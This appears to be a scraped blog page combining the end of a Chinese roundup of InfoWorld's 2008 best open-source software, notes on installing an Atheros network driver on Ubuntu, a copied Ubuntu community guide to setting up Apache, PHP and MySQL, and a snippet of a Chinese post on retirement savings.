办公软件套装,应该说OpenOffice是惟一的也是最好的选择,舍它之外,还有什么呢?点击这里下载OpenOffice

6. PDFCreator:PDF创建软件
除了PDF文件创建之外,PDFCreator还支持给文件加密等功能,此外,它还能将所有可打印文档输出为PNG, JPG, TIFF, BMP, PCX, PS, EPS等多种文件格式。点击这里下载PDFCreator
----------------------------------------------------------------------------------------------
六、security|安全
InfoWorld评选的应用产品包括应用软件安全、系统安全、防火墙、密码相关软件等,共有8个软件入选。
1. AppArmor:应用软件安全
应用程序安全的入选产品是来自Novell的AppArmor,国内搞安全和Linux研究的用户想必对这个软件并不陌生——SUSE Linux中就包含了AppArmor这个重要的安全组件。了解关于AppArmor的更多信息,请访问:http://forge.novell.com/modules/xfmod/project/?apparmor 。下载AppArmor,请访问:http://forge.novell.com/modules/xfcontent/downloads.php/apparmor/AppArmor-2.1.2/

2. Metasploit:渗透测试、漏洞研究
Metasploit Framework (MSF)是2003年以开放源代码方式发布、可自由获取的开发框架,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠的平台。点击这里下载Metasploit

3. Ophcrack:Windows密码恢复
Ophcrack不仅有Linux版本,还有Windows版本哦,这样的软件并不常见。点击这里下载Ophcrack

4. SmoothWall Express:防火墙软件
一个开放源码、并基于GNU/Linux操作系统的防火墙软件。点击这里下载SmoothWall Express

5. Snort with Base:入侵检测
获得InfoWorld推荐的是带有BASE(Basic Analysis and Security Engine,http://base.secureideas.net/index.php )的Snort,
Snort是一个免费的、跨平台的软件包,用作嗅探器、日志记录和入侵探测器。点击这里下载Snort。

6. Splunk:安全日志分析
一个运行于 Unix 环境下的日志分析软件,Splunk可以支持任何服务器产生的日志,其对日志进行处理的方式是进行高效索引之后让管理员可以对日志中出现的各种情况进行搜索,并且通过非常好的图形化的方式展现出来。点击这里下载Splunk

7. TrueCrypt:磁盘加密软件
这个软件当然超赞,CHIP软件社区也推荐过无数次,无数软件高手也极其推崇这个软件。不过InfoWorld再次把这样的桌面级软件和服务器级别的专业领域软件混在一起,真是让人有点摸不着头脑啊:)。点击这里下载TrueCrypt

8. Untangle:网关安全
Untangle是一系列安全产品的打包合集,它包括了病毒、恶意软件、钓鱼软件的检测和查杀,包括了ClamAV, Snort, SpamAssassin, OpenVPN, iptables等开源的安全工具。了解Untangle的更多相关信息,请访问:http://www.untangle.com/ 。如果需要下载Untangle的话,请访问:http://www.untangle.com/index.php?option=com_content&task=view&id=226&Itemid=739
----------------------------------------------------------------------------------------------
七、存储软件
InfoWorld评选的存储软件包括数据备份、存储服务器、在线数据备份、文件管理等软件,共有6个软件入选。
1. Amanda:网络备份软件
InfoWorld选择的2008最佳开源网络备份软件是Amanda,这个软件分为客户端和服务器端,支持Linux以及Windows操作系统。点击这里下载Amanda

2. FreeNAS:存储服务器
FreeNAS 是一套免费的NAS服务器,它能将一部普通PC变成网络存储服务器。该软件基于FreeBSD,Samba 及PHP,支持CIFS (samba), FTP, NFS protocols, Software RAID (0,1,5) 及 web 界面的设定工具。点击这里下载FreeNAS

3. Free Online Backup:在线备份
这个Free Online Backup说实话很奇怪,它竟然只有Windows的版本,并且只支持命令行工作模式。点击这里下载Free Online Backup

4. WinMerge:文件比较
WinMerge可以快速清楚地让你找出文字文件中的不同之处,对于经常修改代码或文章的网友会十分有用。点击这里下载WinMerge

5. smartmontools:磁盘监控
smartmontools包含两个应用(都是命令行方式的):smartctl和smartd,分别用来监控硬盘的SMART状态(smartd)或者对SMART设置进行调整(smartctl)。点击这里下载smartmontools

6. StorageIM:存储管理系统
运行StorageIM的客户端可以自动发现满足CIM和SMI-S管理标准的系统并报告这些系统的存储状况。StorageIM后台采用的是MYSQL数据库,在安装StorageIM的时候,这个MYSQL也会被安装到系统当中。点击这里下载StorageIM

Monday, September 1, 2008

Install Ubuntu to P5Q

Installed 64bit Ubuntu desktop version to P5Q, the problem is no network card driver. Follow the link http://ubuntuforums.org/showthread.php?t=770173, the problem is solved.

Ok first the network card is Atheros(R) AR8121/AR8113 PCI-E

Ok these are the steps i followed to get it working!

1) I installed ubuntu hardy 64bit, i has build-essential package installed
2) Then i downloaded the linux driver from: http://support.asus.com/download/dow...model=P5KPL-CM
(as per my original post)
3) I then transfered the driver via usb stick to my laptop and unpacked the zip. (Actually i unpacked it on windows first as it has a .rar file that i could not unpack on linux Then i packed it up again on windows).
4) cd into /LinuxDrivers/L1e_Lan/l1e-l2e-linux-v1.0.0.4/src
5) then i ran: sudo KBUILD_NOPEDANTIC=1 make
6) then i ran: sudo KBUILD_NOPEDANTIC=1 make install
7) that worked and put a driver in /lib/modules/2.6.24-16-generic/kernel/drivers/net/atl1e/at1le.ko
8 ) i cd into that director and i run: sudo insmod ./atl1e.ko
9) after the reboot, the card is working.

lshw -C network

Thursday, August 21, 2008

ApacheMySQLPHP - Community Ubuntu Documentation

ApacheMySQLPHP - Community Ubuntu Documentation

(Modified by LJS)

Parent page: Programming Applications

This is to help people setup and install a LAMP (Linux-Apache-MySQL-PHP) server in Ubuntu, including Apache 2, PHP 5 (optionally PHP 4 in Ubuntu 6.10 and lower), and MySQL 4.1 or 5.0.

When installing from the Ubuntu 6.06 (Dapper Drake) "Server cd", you have the option of choosing to install a LAMP setup at the inital Ubuntu installation screen. That will install apache2, php5 and mysql 5.0.

Check Requirements

As of Ubuntu 7.04 (Feisty), all PHP4 packages have been dropped from the repositories, as the PHP4 branch is not being further developed/supported by the PHP Group. Everything in this article pertaining to PHP4 can therefore only be executed in Ubuntu 6.10 and lower. If you absolutely depend on PHP4 and would like to use the current Ubuntu release, you have to compile it from source.

Some applications require php4 while others will work with php5. Be sure to install the version of php and the corresponding apache2 module for it. You cannot have both php4 and php5 modules running on the same instance of apache2 at the same time. Installing one may remove the other.

If you have both php4 and php5 installed, be aware of which version of the apache2 php module you have. If libapache2-mod-php5 is already installed, the php4 package will install libapache-mod-php4 and not libapache2-mod-php4 package.

If libapache2-mod-php5 is not installed, installing php4 will install the apache2 php module (libapache2-mod-php4). See this example.

Most web applications will use Apache2, php5 and mysql5.0. If no specific versions are mentioned in your web application's documentation, use those.

To install the default LAMP stack in Ubuntu 6.06 LTS (Dapper Drake)

If you did not use the LAMP installer option from the server cd but want to install those same packages without having to reinstall your operating system, use any method to install the following packages

apache2 php5-mysql libapache2-mod-php5 mysql-server

All of those packages are in the Ubuntu 6.06 LTS (Dapper Drake) main repository. Once LAMP is installed, you need to set a mysql root password and then, depending on your web application, create a database, user and password. That's it!

To install the default LAMP stack in Ubuntu 7.04 (Feisty Fawn) Ubuntu 7.10 (Gutsy Gibbon) and Ubuntu 8.04 LTS (Hardy Heron)

As of the 7.04 release, the Ubuntu base system includes Tasksel. You can either install LAMP using tasksel or install the LAMP packages as detailed above.

sudo tasksel install lamp-server

See Tasksel

Starting over, How to remove the LAMP stack

To remove the LAMP stack remove the following packages:

apache2 apache2-mpm-prefork apache2-utils apache2.2-common libapache2-mod-php5 libapr1 libaprutil1 libdbd-mysql-perl libdbi-perl libmysqlclient15off libnet-daemon-perl libplrpc-perl libpq5 mysql-client-5.0 mysql-common mysql-server mysql-server-5.0 php5-common php5-mysql

To also remove the debconf data, use the purge option when removing. To get rid of any configurations you may have made to apache, manually remove the /etc/apache2 directory once the packages have been removed.

Installing Apache 2

To only install the apache2 webserver, use any method to install

apache2

Troubleshooting Apache

If you get this error:

apache2: Could not determine the server's fully qualified domain name, using 127.0.0.1 for ServerName

then use a text editor such as "sudo nano" at the command line or "gksudo gedit" on the desktop to create a new file,

sudo nano /etc/apache2/conf.d/fqdn

or

gksu "gedit /etc/apache2/conf.d/fqdn"

then add

ServerName localhost

to the file and save. This can all be done in a single command with the following:

echo "ServerName localhost" | sudo tee /etc/apache2/conf.d/fqdn

Virtual Hosts

Apache2 has the concept of sites, which are separate configuration files that Apache2 will read. These are available in /etc/apache2/sites-available. By default, there is one site available called default this is what you will see when you browse to http://localhost or http://127.0.0.1. You can have many different site configurations available, and activate only those that you need.

As an example, we want the default site to be /home/user/public_html/. To do this, we must create a new site and then enable it in Apache2.

To create a new site:

  • Copy the default website as a starting point. sudo cp /etc/apache2/sites-available/default /etc/apache2/sites-available/mysite

  • Edit the new configuration file in a text editor "sudo nano" on the command line or "gksudo gedit", for example: gksudo gedit /etc/apache2/sites-available/mysite

  • Change the DocumentRoot to point to the new location. For example, /home/user/public_html/

  • Change the Directory directive, replace to

  • You can also set separate logs for each site. To do this, change the ErrorLog and CustomLog directives. This is optional, but handy if you have many sites

  • Save the file

Now, we must deactivate the old site, and activate our new one. Ubuntu provides two small utilities that take care of this: a2ensite (apache2enable site) and a2dissite (apache2disable site).

sudo a2dissite default && sudo a2ensite mysite

Finally, we restart Apache2:

sudo /etc/init.d/apache2 restart

If you have not created /home/user/public_html/, you will receive an warning message

To test the new site, create a file in /home/user/public_html/:

echo 'Hello! It is working!' > /home/user/public_html/index.html

Finally, browse to http://localhost/

Installing PHP 5

To only install PHP5. use any method to install

php5

If PHP4 is present on your system, also install

libapache2-mod-php5

Troubleshooting PHP 5

Does your browser ask if you want to download the php file instead of displaying it? If Apache is not actually parsing the php after you restarted it, install libapache2-mod-php5. It is installed when you install the php5 package, but may have been removed inadvertently by packages which need to run a different version of php.

You may also need to actually enable it, by doing sudo a2enmod php5 followed by sudo /etc/init.d/apache2 restart. If sudo a2enmod php5 returns "$ This module does not exist!", you should purge (not just remove) the libapache2-mod-php5 package and reinstall it.

Be sure to clear your browser's cache before testing your site again.

Installing PHP 4

To install PHP4, Use any method to install

php4

If PHP5 is present on your system, installing php4 will install the php module for apache (version 1.3) and not apache2. To use php4 with apache2, install

libapache2-mod-php4

Troubleshooting PHP 4

Does your browser ask if you want to download the php file instead of displaying it? If Apache is not actually parsing the php after you restarted it, install libapache2-mod-php4. It is installed when you install the php4 package, but may have been removed inadvertently by packages which need to run a different version of php.

You may also need to actually enable it, by doing sudo a2enmod php4 followed by sudo /etc/init.d/apache2 restart. If sudo a2enmod php4 returns "$ This module does not exist!", you should purge (not just remove) the libapache2-mod-php5 package and reinstall it.

Be sure to clear your browser's cache before testing your site again.

Installing MYSQL with PHP 5

Use any method to install

mysql-server libapache2-mod-auth-mysql php5-mysql

Installing MYSQL with PHP 4

First enable the universe repository since the packages are not in main

Use any method to install

mysql-server libapache2-mod-auth-mysql php4-mysql

After installing PHP

You may need to increase the memory limit that PHP imposes on a script. Edit the /etc/php5/apache2/php.ini file and increase the memory_limit value.

After installing MySQL

Set mysql bind address

Before you can access the database from other computers in your network, you have to change its bind address. Note that this can be a security problem, because your database can be accessed by others computers than your own. Skip this step if the applications which require mysql are running on the same machine.

type:

nano /etc/mysql/my.cnf

and change the line:

bind-address           = localhost

to your own internal ip address e.g. 192.168.1.20

bind-address           = 192.168.1.20

If your ip address is dynamic you can also comment out the bind-address line and it will default to your current ip.

If you try to connect without changing the bind-address you will recieve a "Can not connect to mysql error 10061".

Set mysql root password

Before accessing the database by console you need to type:

mysql -u root

At the mysql console type:

mysql> SET PASSWORD FOR 'root'@'localhost' = PASSWORD('yourpassword');

A successful mysql command will show:

Query OK, 0 rows affected (0.00 sec)

Mysql commands can span several lines. Do not forget to end your mysql command with a semicolon.

Note: If you have already set a password for the mysql root, you will need to use:

mysql -u root -p

(Did you forget the mysql-root password? See MysqlPasswordReset.)

Create a mysql database

mysql> CREATE DATABASE database1;

Create a mysql user

For creating a new user with all privileges (use only for troubleshooting), at mysql prompt type:

mysql> GRANT ALL PRIVILEGES ON *.* TO 'yourusername'@'localhost' IDENTIFIED BY 'yourpassword' WITH GRANT OPTION;

For creating a new user with fewer privileges (should work for most web applications) which can only use the database named "database1", at mysql prompt type:

mysql> GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER, CREATE TEMPORARY TABLES, LOCK TABLES ON database1.* TO 'yourusername'@'localhost' IDENTIFIED BY 'yourpassword';

yourusername and yourpassword can be anything you like. database1 is the name of the database the user gets access to. localhost is the location which gets access to your database. You can change it to '%' (or to hostnames or ip addresses) to allow connections from every location (or only from specific locations) to the database. Note, that this can be a security problem and should only be used for testing purposes!

To exit the mysql prompt type:

mysql> \q

Since the mysql root password is now set, if you need to use mysql again (as the mysql root), you will need to use:

mysql -u root -p

and then enter the password at the prompt.

Backup-Settings

Please, let's say something in which directories MySql stores the database information and how to configure a backup

Alternatively

There is more than just one way to set the mysql root password and create a database. For example mysqladmin can be used:

mysqladmin -u root -p password yourpassword

and

mysqladmin -u root -p create database1

mysqladmin is a command-line tool provided by the default LAMP install.

Phpmyadmin and mysql-admin

All mysql tasks including setting the root password and creating databases can be done via a graphical interface using phpmyadmin or mysql-admin.

To install one or both of them, first enable the universe repository

Use any method to install

phpmyadmin

=== Troubleshooting Phpmyadmin & mysql-admin=== If you get blowfish_secret error: Choose and set a phrase for cryptography in the file /var/lib/phpmyadmin/blowfish_secret.inc.php (??? /etc/phpmyadmin/blowfish_secret.inc.php ???) and copy the line (not the php tags) into the file /etc/phpmyadmin/config.inc.php or you will receive an error.

Alternative: install phpMyAdmin from source

See the phpMyAdmin page for instructions on how to install phpmyadmin from source:

Mysql-admin

Mysql-admin runs locally, on the desktop. Use any method to install

mysql-admin

For more information

You really ought to read 2.9.3. Securing the Initial MySQL Accounts from the MySQL Reference Manual.

Edit Apache Configuration

You may want your current user to be the PHP pages administrator. To do so, edit the Apache configuration file :

$ gksudo "gedit /etc/apache2/apache2.conf"

Search both the strings starting by "User" and "Group", and change the names by the current username and groupname you are using. Then you'll need to restart Apache. (look at the next chapter concerning apache commands)

Configuration options relating specifically to user websites (accessed through localhost/~username) are in /etc/apache2/mods-enabled/userdir.conf.

Edit PHP Configuration to Work With MYSQL (Ubuntu Dapper)

In Dapper Drake, "extension=mysql.so" and "extension=mysqli.so" are enabled in the php.ini file out-of-the-box. However, sometimes php is not looking for those files in the right directory. You have then to move your files or modify the php.ini configuration.:

First solution

locate the directory where the extension files are placed:

locate mysql.so

(change mysql.so in mysqli.so if you want to install the mysqli functions)

-then modify the php.ini file to indicate the right place for the extension directory:

$ gksudo "gedit /etc/php4/apache2/php.ini"

or if you are using php5

$ gksudo "gedit /etc/php5/apache2/php.ini"

Look for the 'extension_dir' property, and set it to the directory where you found the mysql(i).so file:

  • extension_dir= "/usr/lib/php5/20051025/"

Restart apache, and test if your mysql(i) functions are working.

Second solution

-locate the directory where the extension files are placed:

locate mysql.so

(change mysql.so in mysqli.so if you want to install the mysqli functions)

Let's say that you found the file in '/usr/lib/php5/20051025/'

-then check in the php.ini file for the extension directory

$ gksudo "gedit /etc/php4/apache2/php.ini"

or if you are using php5

$ gksudo "gedit /etc/php5/apache2/php.ini"

Look for the 'extension_dir' property. It should be by default '/usr/lib/php5/ext'. If it's not, change it for this value.

-Now create the default directory for extensions:

$ sudo mkdir /usr/lib/php5/ext

-Copy the extension file to the new directory:

$ sudo cp /usr/lib/php5/20051025/mysql.so /usr/lib/php5/ext/mysql.so

Change the first path to the one you found with the locate function, and change mysql.so into mysqli.so if you want to use mysqli functions.

-Restart apache (see below), and test if your mysql(i) functions are working.

Run, Stop, Test, And Restart Apache

Use the following command to run Apache :

$ sudo /usr/sbin/apache2ctl start

To stop it, use :

$ sudo /usr/sbin/apache2ctl stop

To test configuration changes, use :

$ sudo /usr/sbin/apache2ctl configtest

Finally, to restart it, run :

$ sudo /usr/sbin/apache2ctl restart

Using Apache

You can access apache by typing 127.0.0.1 or http://localhost (by default it will be listening on port 80) in your browser address bar. By default the directory for apache server pages is /var/www . It needs root access in order to put files in. A way to do it is just starting the file browser as root in a terminal:

$ sudo nautilus

or

if you want to make /var/www your own. (Use only for non-production web servers - this is not the most secure way to do things.)

$ sudo chown -R $USER:$USER /var/www

Status

To check the status of your PHP installation:

 $ gksudo "gedit /var/www/testphp.php"

and insert the following line

 

View this page on a web browser at http://yourserveripaddress/testphp.php or http://localhost/testphp.php

Securing Apache

If you just want to run your Apache install as a development server and want to prevent it from listening for incoming connection attempts, this is easy to do.

$ gksudo "gedit /etc/apache2/ports.conf"
$ password:

Change ports.conf so that it contains:

Listen 127.0.0.1:80

Save this file, and restart Apache (see above). Now Apache will serve only to your home domain, http://127.0.0.1 or http://localhost.

Password-Protect a Directory

There are 2 ways to password-protect a specific directory. The recommended way involves editing /etc/apache2/apache2.conf . (To do this, you need root access). The other way involves editing a .htaccess file in the directory to be protected. (To do this, you need access to that directory).

Password-Protect a Directory With .htaccess

See EnablingUseOfApacheHtaccessFiles

Warning: On at least some versions of Ubuntu, .htaccess files will not work by default. See EnablingUseOfApacheHtaccessFiles for help on enabling them.

thumbnails

If you direct your web browser to a directory (rather than a specific file), and there is no "index.html" file in that directory, Apache will generate an index file on-the-fly listing all the files and folders in that directory. Each folder has a little icon of a folder next to it.

To put a thumbnail of that specific image (rather than the generic "image icon") next to each image file (.jpg, .png, etc.):

... todo: add instructions on how to do thumbnails here, perhaps using Apache::AutoIndex 0.08 or Apache::Album 0.95 ...

Known problems

Skype incompatibility

Skype uses port 80 for incoming calls, and thus, may block Apache. The solution is to change the port in one of the applications. Usually, port 81 is free and works fine. To change the port number in Skype go to menu Tools > Options, then click on the Advanced tab, then in the box of the port for incoming calls write your preference.

Other Apache Options

Further Information

如何发掘出更多退休的钱?

如何发掘出更多退休的钱? http://bbs.wenxuecity.com/bbs/tzlc/1328415.html 按照常规的说法,退休的收入必须得有退休前的80%,或者是4% withdrawal rule,而且每年还得要加2-3%对付通胀,这是一个很大...